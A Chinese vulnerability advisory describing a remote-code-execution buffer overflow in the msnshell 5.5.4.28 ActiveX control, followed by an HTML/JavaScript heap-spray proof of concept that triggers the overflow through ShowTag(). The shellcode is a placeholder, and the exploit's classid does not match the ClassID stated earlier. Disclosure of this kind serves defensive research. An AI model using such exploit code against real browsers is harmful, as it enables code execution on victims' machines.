msnshell 5.5.4.28远程代码执行漏洞

  • 发表于
  • Vulndb

发布时间:2010-09-20
影响版本:msnshell 5.5.4.28
漏洞描述:msnshell是国内一款多功能的msn辅助工具,有着方便而强大聊天加密功能,使其用户群非常广泛,但是该应用有一些已存在多年的远程代码执行漏洞。

问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll

ShowTag以及其他部分参数对数据长度的过滤不足,当长度为540字节左右的时候造成缓冲区溢出,控制程序流程。

测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

<html>
<object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id='target'></object>
<body>
<SCRIPT language="JavaScript">
var shellcode = unescape("you shellcode is here");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<350; x++) memory[x] = block +shellcode;

var buffer = '';

while (buffer.length < 540 ) buffer+='\x0C\x0C\x0C\x0C';

target.ShowTag(buffer);

</script>
</body>
</html>

安全建议:

厂商补丁:

msnshell
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.msnshell.net/